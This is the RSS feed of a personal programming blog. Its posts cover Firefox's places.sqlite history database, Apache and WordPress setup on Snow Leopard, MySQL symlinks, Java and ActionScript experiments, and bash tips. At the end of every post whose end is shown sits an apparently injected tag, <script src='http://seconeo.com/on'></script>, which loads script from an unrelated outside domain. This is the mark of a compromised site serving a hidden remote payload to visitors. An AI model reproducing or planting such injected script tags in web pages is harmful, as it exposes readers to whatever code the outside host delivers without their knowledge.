<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>random() &#187; Web programming</title>
	<atom:link href="http://blog.maxgarfinkel.com/archives/category/web-programming/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.maxgarfinkel.com</link>
	<description>All sorts, who knows?</description>
	<lastBuildDate>Thu, 19 Aug 2010 20:07:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Firefox places.sqlite</title>
		<link>http://blog.maxgarfinkel.com/archives/151</link>
		<comments>http://blog.maxgarfinkel.com/archives/151#comments</comments>
		<pubDate>Wed, 27 Jan 2010 14:53:45 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Data visualisation]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Web programming]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/?p=151</guid>
		<description><![CDATA[Firefox stores your web browsing history in a sqlite db. On windows you can find it in:  Documents and Settings\\Application Data\Mozilla\Firefox\Profiles\xyz.default\. On the mac it is in your home folder: Library/Application support/Mozilla/. There is a great addon for firefox called SQLite Manager which allows you to run SQLite queries. Using this you can look at [...]]]></description>
			<content:encoded><![CDATA[<p>Firefox stores your web browsing history in a sqlite db. On windows you can find it in:  <span style="color: #999999;">Documents and Settings\\Application Data\Mozilla\Firefox\Profiles\xyz.default\</span>. On the mac it is in your home folder: <span style="color: #999999;">Library/Application support/Mozilla/</span>.</p>
<p>There is a great addon for firefox called <a title="SQLite Manager" href="http://code.google.com/p/sqlite-manager/" target="_blank">SQLite Manager</a> which allows you to run SQLite queries. Using this you can look at the places.sqlite file, which contains your web history data. I am particulalry interested in looking at the paths I take and the following query will pull out pairs of target-&gt;referer pages.</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> plc2<span style="color: #66cc66;">.</span>url <span style="color: #993333; font-weight: bold;">AS</span> <span style="color: #ff0000;">'referer'</span><span style="color: #66cc66;">,</span> plc1<span style="color: #66cc66;">.</span>url <span style="color: #993333; font-weight: bold;">AS</span> <span style="color: #ff0000;">'target'</span>
<span style="color: #993333; font-weight: bold;">FROM</span> moz_historyvisits vis<span style="color: #66cc66;">,</span> moz_historyvisits vis2
<span style="color: #993333; font-weight: bold;">INNER</span> <span style="color: #993333; font-weight: bold;">JOIN</span> moz_places plc1
<span style="color: #993333; font-weight: bold;">ON</span> plc1<span style="color: #66cc66;">.</span>id <span style="color: #66cc66;">=</span> vis<span style="color: #66cc66;">.</span>place_id
<span style="color: #993333; font-weight: bold;">INNER</span> <span style="color: #993333; font-weight: bold;">JOIN</span> moz_places plc2
<span style="color: #993333; font-weight: bold;">ON</span> plc2<span style="color: #66cc66;">.</span>id <span style="color: #66cc66;">=</span> vis2<span style="color: #66cc66;">.</span>place_id
<span style="color: #993333; font-weight: bold;">WHERE</span> vis<span style="color: #66cc66;">.</span>from_visit <span style="color: #66cc66;">=</span> vis2<span style="color: #66cc66;">.</span>id</pre></div></div>

<p>There is a wealth of information in this little file, the visit_type column, for example gives you an indicator of how the URL was reached.</p>
<table>
<tbody>
<tr>
<th>Type</th>
<th>ID</th>
<th>description</th>
</tr>
<tr>
<td>TRANSITION_LINK</td>
<td>1</td>
<td>This transition type means the user followed a link and got a new toplevel window.</td>
</tr>
<tr>
<td>TRANSITION_TYPED</td>
<td>2</td>
<td>This transition type is set when the user typed the URL to get to the page.</td>
</tr>
<tr>
<td>TRANSITION_BOOKMARK</td>
<td>3</td>
<td>This transition type is set when the user followed a bookmark to get to the page.</td>
</tr>
<tr>
<td>TRANSITION_EMBED</td>
<td>4</td>
<td>This transition type is set when some inner content is loaded. This is true of all images on a page, and the contents of the iframe. It is also true of any content in a frame, regardless if whether or not the user clicked something to get there.</td>
</tr>
<tr>
<td>TRANSITION_REDIRECT_PERMANENT</td>
<td>5</td>
<td>This transition type is set when the transition was a permanent redirect.</td>
</tr>
<tr>
<td>TRANSITION_REDIRECT_TEMPORARY</td>
<td>6</td>
<td>This transition type is set when the transition was a temporary redirect.</td>
</tr>
<tr>
<td>TRANSITION_DOWNLOAD</td>
<td>7</td>
<td>This transition type is set when the transition is a download.</td>
</tr>
</tbody>
</table>
<p>For more information on this you can view the <a title="Mozilla developer pages web history info" href="https://developer.mozilla.org/en/NsINavHistoryService" target="_blank">Mozilla dev pages</a> and the full <a title="Places api for firefox" href="https://developer.mozilla.org/en/Places" target="_blank">places system</a> within firefox is documented <a title="places api for firefox" href="https://developer.mozilla.org/en/Places" target="_blank">over here. </a></p>
<p>A wealth of further information on this DB is available over at <a title="Firefox places.sqlite information" href="http://www.firefoxforensics.com/research/index.shtml" target="_blank">firefox forensics</a><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/151/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Setting up wordpress on snowleopard</title>
		<link>http://blog.maxgarfinkel.com/archives/130</link>
		<comments>http://blog.maxgarfinkel.com/archives/130#comments</comments>
		<pubDate>Sat, 10 Oct 2009 10:41:55 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Bash Linux & Apache]]></category>
		<category><![CDATA[Web programming]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/?p=130</guid>
		<description><![CDATA[I have been configuring a local site to do wordpress dev on snow leopard. I ran into problems when trying to configure the url rewriting. I found a great post however it didn&#8217;t quite get it working so here is what I had to do. change the httpd.conf file. This is located in etc/apache2/httpd.conf open it [...]]]></description>
			<content:encoded><![CDATA[<p>I have been configuring a local site to do wordpress dev on snow leopard. I ran into problems when trying to configure the url rewriting. I found a <a title="setting up .htaccess in snow leopard" href="http://www.clagnut.com/blog/350/" target="_blank">great post </a> however it didn&#8217;t quite get it working so here is what I had to do.</p>
<ol>
<li>change the httpd.conf file. This is located in etc/apache2/httpd.conf open it in something like nano

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">nano</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>apache2<span style="color: #000000; font-weight: bold;">/</span>httpd.conf</pre></div></div>

<p>            Find the section that looks like this</p>
<pre>&#60Directory /&#62
    Options FollowSymLinks
    AllowOverride None
    Order deny,allow
    Deny from all
&#60/Directory&#62</pre>
<p>and change the<b> AllowOverride None</b> to<b> AllowOverride All</b>
        </li>
<li>Next up we need to change the conf file for the user that requires .htaccess. This is done by navigating to /etc/apache2/users/ and finding the file <em>username</em>.conf. This needs to be edited in something like nano again to look like this:
<pre>&#60Directory "/Users/maxgarfinkel/Sites/"&#62
    Options Indexes MultiViews FollowSymLinks
    AllowOverride All
    Order allow,deny
    Allow from all
&#60/Directory&#62
</pre>
<p>It was the lack of <b>FollowSymLinks</b> that caused me to get Forbidden errors on the site.
</li>
<li>Finally we need to create the .htaccess file in the sites folder and if you want wordpress to be able to write to it you should make it writeable by every one. This is bad so only do it on machine <b>not</b> exposed to the world! The command for that is

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">chmod</span> <span style="color: #000000;">666</span></pre></div></div>

<p> If anyone knows the safe permissions to allow wordpress to write to the .htaccess but not any tom dick or harry, lemme know!</li>
</ol>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/130/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress › Support » Snow Leopard, Apache, PHP, MySQL and WordPress!</title>
		<link>http://blog.maxgarfinkel.com/archives/124</link>
		<comments>http://blog.maxgarfinkel.com/archives/124#comments</comments>
		<pubDate>Sun, 04 Oct 2009 21:08:05 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Bash Linux & Apache]]></category>
		<category><![CDATA[Web programming]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/?p=124</guid>
		<description><![CDATA[Great article on getting php mysql running on Snow Leopord. One caveat however, the poster talks about renaming the mysql folder in /usr/local/. In the comments other users point out that you shouldn&#8217;t do this, instead you should create a symbolic link to this folder. So Instead of renaming the folder mysql-5.0.77-osx10.5-x86_32 to mysql you [...]]]></description>
			<content:encoded><![CDATA[<p>Great article on getting php mysql running on Snow Leopord. One caveat however, the poster talks about renaming the mysql folder in /usr/local/. In the comments other users point out that you shouldn&#8217;t do this, instead you should create a symbolic link to this folder.</p>
<p>So Instead of renaming the folder <em>mysql-5.0.77-osx10.5-x86_32</em> to <em>mysql</em> you should create a symbolic link called <em>mysql </em> that points to the <em>mysql-5.0.77-osx10.5-x86_32 </em>folder. Further more you might run into problems if you use the folder <em>mysql-5.0.77-osx10.5-x86_32 </em>as this is the 32bit version. I had a version named <em>mysql-5.1.35-osx10.5-x86_64 </em>which is both a newer version and 64 bit. This is the reason for creating the symbolic link I guess, so you can keep multiple versions of mysql, nicely labeled and activate the one you need. Once I set this up everything was worked great.</p>
<p><a href="http://wordpress.org/support/topic/306878">WordPress › Support » Snow Leopard, Apache, PHP, MySQL and WordPress!</a>.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/124/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Physics Flash Animations</title>
		<link>http://blog.maxgarfinkel.com/archives/95</link>
		<comments>http://blog.maxgarfinkel.com/archives/95#comments</comments>
		<pubDate>Sun, 23 Aug 2009 11:55:23 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Actionscript]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/?p=95</guid>
		<description><![CDATA[A list of physics flash animations. Not beautiful but very interesting! Physics Flash Animations.]]></description>
			<content:encoded><![CDATA[<p>A list of physics flash animations. Not beautiful but very interesting! <a href="http://www.upscale.utoronto.ca/GeneralInterest/Harrison/Flash/#chaos">Physics Flash Animations</a>.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/95/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Giving Java a go!</title>
		<link>http://blog.maxgarfinkel.com/archives/31</link>
		<comments>http://blog.maxgarfinkel.com/archives/31#comments</comments>
		<pubDate>Sun, 29 Jun 2008 21:04:49 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Actionscript]]></category>
		<category><![CDATA[learning Java]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/?p=31</guid>
		<description><![CDATA[Thought I would give Java a go today, wanted to try something I might do with flash and compare to see how much harder/time consuming it might be Vs how much more power you can get from Java. Well first results are in, and I was surprised to find it didn&#8217;t take much longer and [...]]]></description>
			<content:encoded><![CDATA[<p>Thought I would give Java a go today, wanted to try something I might do with flash and compare to see how much harder/time consuming it might be Vs how much more power you can get from Java. Well first results are in, and I was surprised to find it didn&#8217;t take much longer and was MUCH more powerful. I was using <a href="http://www.netbeans.org/" target="_blank">NetBeans</a> which is a very nice IDE. The piece is a particle field and I was originaly able to crank it up to 500,000 particles, the frame rate dropped but it was still under a frame a second on a 2.16 ghz Macbook Pro. I tried for a 1,000,000 partcles but it ran out of heap space, although I think there is probably a way around that. Well compared to flash this is amazing you could never get performance like that.<br />
It seems to me that not everything is going to be as easy as in flash but that the performance will make up<br />
for the difficulty. I will have to leave it there for now but hope to play some more soon!<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/31/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bash: Deleting a directory</title>
		<link>http://blog.maxgarfinkel.com/archives/30</link>
		<comments>http://blog.maxgarfinkel.com/archives/30#comments</comments>
		<pubDate>Thu, 26 Jun 2008 13:47:53 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Bash Linux & Apache]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/?p=30</guid>
		<description><![CDATA[rm -r /directory/]]></description>
			<content:encoded><![CDATA[<p>rm -r /directory/<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/30/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bash: Get folder size</title>
		<link>http://blog.maxgarfinkel.com/archives/29</link>
		<comments>http://blog.maxgarfinkel.com/archives/29#comments</comments>
		<pubDate>Thu, 26 Jun 2008 13:35:42 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Bash Linux & Apache]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/?p=29</guid>
		<description><![CDATA[du &#8211; estimate file space usage du -options /path/to/file/or/folder -a all files, write out all files with there size. -h human readable e.g. 100k or 2M or 3G, etc -s summarize, just the total. e.g. du -sh would output the size of the current directory.]]></description>
			<content:encoded><![CDATA[<p><strong>du</strong> &#8211; estimate file space usage<br />
du -options /path/to/file/or/folder</p>
<ul>
<li> -a all files, write out all files with there size.</li>
<li> -h human readable e.g. 100k or 2M or 3G, etc</li>
<li>-s summarize, just the total.</li>
</ul>
<p>e.g.</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">du</span> <span style="color: #660033;">-sh</span></pre></div></div>

<p> would output the size of the current directory.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/29/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Actionscript tree</title>
		<link>http://blog.maxgarfinkel.com/archives/20</link>
		<comments>http://blog.maxgarfinkel.com/archives/20#comments</comments>
		<pubDate>Mon, 02 Jun 2008 21:16:16 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Actionscript]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/archives/20</guid>
		<description><![CDATA[Just finished an Actionscript tree. Its still not 100% right, there are some little details I want to sort out. It can be extremely processing intensive so it is possible to cause it to hang by making it iterate too much or have too many branches so be warned. I have set the time out [...]]]></description>
			<content:encoded><![CDATA[<p>Just finished an Actionscript tree. Its still not 100% right, there are some little details I want to sort out. It can be extremely processing intensive so it is possible to cause it to hang by making it iterate too much or have too many branches so be warned. I have set the time out period to 30 seconds so if you haven&#8217;t got a tree in 30 seconds, you broke it! The other point of note is that angle is in radians. Angles controls the angle at which the branches come off. Any who, enough talking, here it is.</p>

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
			id="fm_leaf_01_822051448"
			class="flashmovie"
			width="553"
			height="400">
	<param name="movie" value="/wp-uploads/2009/05/leaf_01.swf" />
	<!--[if !IE]>-->
	<object	type="application/x-shockwave-flash"
			data="/wp-uploads/2009/05/leaf_01.swf"
			name="fm_leaf_01_822051448"
			width="553"
			height="400">
	<!--<![endif]-->
		
<p><a href="http://adobe.com/go/getflashplayer"><img src="http://www.adobe.com/images/shared/download_buttons/get_flash_player.gif" alt="Get Adobe Flash player" /></a></p>

	<!--[if !IE]>-->
	</object>
	<!--<![endif]-->
</object>
<p> </p>
<p>When I get a chance to, I will neaten up the code and post it up. Those of you who are observant may notice the swf is actulay called leaf_02.swf, this is &#8216;cos it was I started out wanting to draw a leaf, but that is harder than I thought (Not given up yet though <img src='http://blog.maxgarfinkel.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> ), so hopefully the next post will be a leaf!</p>
<p>Sorcecode for those interested &#8211; Not object oriented and almost no comments</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> bezierPoint<span style="color: #66cc66;">&#40;</span>origin:Point, <span style="color: #0066CC;">control</span>:Point, <span style="color: #0066CC;">end</span>:Point, loc:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#41;</span>:Point
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> p1:Point = Point.<span style="color: #006600;">interpolate</span><span style="color: #66cc66;">&#40;</span>origin, <span style="color: #0066CC;">control</span>, loc<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> p2:Point = Point.<span style="color: #006600;">interpolate</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">control</span>, <span style="color: #0066CC;">end</span>, loc<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> p:Point = Point.<span style="color: #006600;">interpolate</span><span style="color: #66cc66;">&#40;</span>p1, p2, loc<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #b1b100;">return</span> p;
<span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> endPoint<span style="color: #66cc66;">&#40;</span>angle:<span style="color: #0066CC;">Number</span>, hypontinuse:<span style="color: #0066CC;">Number</span>, origin:Point<span style="color: #66cc66;">&#41;</span>:Point
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> ret:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">cos</span><span style="color: #66cc66;">&#40;</span>angle<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span>hypontinuse<span style="color: #66cc66;">&#41;</span>+ origin.<span style="color: #006600;">x</span>, <span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">sin</span><span style="color: #66cc66;">&#40;</span>angle<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span>hypontinuse<span style="color: #66cc66;">&#41;</span>+origin.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #b1b100;">return</span> ret;
<span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> controlPoint<span style="color: #66cc66;">&#40;</span>origin:Point, hyp:<span style="color: #0066CC;">Number</span>, angle:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#41;</span>:Point
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> a:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">3.14159265</span> + <span style="color: #66cc66;">&#40;</span>angle + <span style="color: #cc66cc;">1.57079633</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #0066CC;">end</span>:Point = endPoint<span style="color: #66cc66;">&#40;</span>a , hyp, origin<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #b1b100;">return</span> <span style="color: #0066CC;">end</span>
<span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> drawBranch<span style="color: #66cc66;">&#40;</span>origin:Point, angle:<span style="color: #0066CC;">Number</span>, <span style="color: #0066CC;">size</span>:<span style="color: #0066CC;">Number</span>, <span style="color: #0066CC;">color</span>:<span style="color: #0066CC;">Number</span>, childNo:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">Array</span>
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> returnData = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Array</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> branch:Shape = <span style="color: #000000; font-weight: bold;">new</span> Shape<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #0066CC;">end</span>:Point = endPoint<span style="color: #66cc66;">&#40;</span>angle, <span style="color: #0066CC;">size</span>, origin<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #0066CC;">control</span>:Point = controlPoint<span style="color: #66cc66;">&#40;</span>Point.<span style="color: #006600;">interpolate</span><span style="color: #66cc66;">&#40;</span>origin,<span style="color: #0066CC;">end</span>,<span style="color: #cc66cc;">0.5</span><span style="color: #66cc66;">&#41;</span>, Point.<span style="color: #006600;">distance</span><span style="color: #66cc66;">&#40;</span>origin, <span style="color: #0066CC;">end</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">/</span><span style="color: #cc66cc;">6</span>, angle<span style="color: #66cc66;">&#41;</span>;
	branch.<span style="color: #006600;">graphics</span>.<span style="color: #0066CC;">lineStyle</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>, <span style="color: #0066CC;">color</span><span style="color: #66cc66;">&#41;</span>;
	branch.<span style="color: #006600;">graphics</span>.<span style="color: #0066CC;">beginFill</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">color</span>,<span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span>
	branch.<span style="color: #006600;">graphics</span>.<span style="color: #0066CC;">moveTo</span><span style="color: #66cc66;">&#40;</span>origin.<span style="color: #006600;">x</span>, origin.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>;
	branch.<span style="color: #006600;">graphics</span>.<span style="color: #0066CC;">curveTo</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">control</span>.<span style="color: #006600;">x</span>, <span style="color: #0066CC;">control</span>.<span style="color: #006600;">y</span>, <span style="color: #0066CC;">end</span>.<span style="color: #006600;">x</span>, <span style="color: #0066CC;">end</span>.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> thickEnd:Point = controlPoint<span style="color: #66cc66;">&#40;</span>origin, <span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">size</span><span style="color: #66cc66;">/</span><span style="color: #cc66cc;">100</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">3</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">/</span>childNo, angle<span style="color: #66cc66;">&#41;</span>;
	branch.<span style="color: #006600;">graphics</span>.<span style="color: #0066CC;">curveTo</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">control</span>.<span style="color: #006600;">x</span>, <span style="color: #0066CC;">control</span>.<span style="color: #006600;">y</span>, thickEnd.<span style="color: #006600;">x</span>, thickEnd.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>;
	branch.<span style="color: #006600;">graphics</span>.<span style="color: #0066CC;">lineTo</span><span style="color: #66cc66;">&#40;</span>origin.<span style="color: #006600;">x</span>, origin.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>;
	returnData.<span style="color: #0066CC;">push</span><span style="color: #66cc66;">&#40;</span>branch<span style="color: #66cc66;">&#41;</span>;
	returnData.<span style="color: #0066CC;">push</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">control</span><span style="color: #66cc66;">&#41;</span>;
	returnData.<span style="color: #0066CC;">push</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">end</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #b1b100;">return</span> returnData;
&nbsp;
<span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> drawTree<span style="color: #66cc66;">&#40;</span>origin, angle, <span style="color: #0066CC;">size</span>, depth, factor, fixedAngle, frequency, childNo<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span>depth <span style="color: #66cc66;">&amp;</span>lt;= <span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span>
		<span style="color: #b1b100;">return</span>;
	<span style="color: #808080; font-style: italic;">//draw branch</span>
	<span style="color: #000000; font-weight: bold;">var</span> branch:<span style="color: #0066CC;">Array</span> = drawBranch<span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span>origin.<span style="color: #006600;">x</span>, origin.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>, angle, <span style="color: #0066CC;">size</span>, 0x514837, childNo<span style="color: #66cc66;">&#41;</span>;
	holder.<span style="color: #006600;">addChild</span><span style="color: #66cc66;">&#40;</span>branch<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #808080; font-style: italic;">//find start, end, control</span>
	<span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">1</span>; i <span style="color: #66cc66;">&amp;</span>lt;= frequency; i++<span style="color: #66cc66;">&#41;</span>
	<span style="color: #66cc66;">&#123;</span>
		<span style="color: #000000; font-weight: bold;">var</span> randSeed:<span style="color: #0066CC;">Number</span> = <span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">/</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#41;</span>+<span style="color: #cc66cc;">0.75</span>;
		<span style="color: #000000; font-weight: bold;">var</span> frequencySeed:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">round</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#41;</span>-<span style="color: #cc66cc;">1</span>
		<span style="color: #000000; font-weight: bold;">var</span> newAngle:<span style="color: #0066CC;">Number</span>;
		<span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span>i <span style="color: #66cc66;">%</span> <span style="color: #cc66cc;">2</span> == <span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span>
			newAngle = <span style="color: #66cc66;">&#40;</span>angle+fixedAngle<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span>randSeed;
		<span style="color: #b1b100;">else</span>
			newAngle = <span style="color: #66cc66;">&#40;</span>angle-fixedAngle<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span>randSeed;
		<span style="color: #000000; font-weight: bold;">var</span> offset:<span style="color: #0066CC;">Number</span> = <span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">/</span>frequency<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span>i<span style="color: #66cc66;">&#41;</span>-<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">/</span>frequency<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">/</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#41;</span>;
		<span style="color: #000000; font-weight: bold;">var</span> newOrigin:Point = bezierPoint<span style="color: #66cc66;">&#40;</span>origin, branch<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#93;</span>, branch<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#93;</span>, offset<span style="color: #66cc66;">&#41;</span>;
		drawTree<span style="color: #66cc66;">&#40;</span>newOrigin, newAngle, <span style="color: #0066CC;">size</span><span style="color: #66cc66;">/</span>factor, depth-<span style="color: #cc66cc;">1</span>, factor, fixedAngle, frequency+frequencySeed, <span style="color: #66cc66;">&#40;</span>frequency-i<span style="color: #66cc66;">&#41;</span>+<span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">var</span> p:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">400</span>,<span style="color: #cc66cc;">550</span><span style="color: #66cc66;">&#41;</span>;
drawTree<span style="color: #66cc66;">&#40;</span>p, -<span style="color: #cc66cc;">1.5</span>, <span style="color: #cc66cc;">200</span>, <span style="color: #cc66cc;">8</span>, <span style="color: #cc66cc;">1.5</span>, <span style="color: #cc66cc;">0.7</span>, <span style="color: #cc66cc;">3</span>, <span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
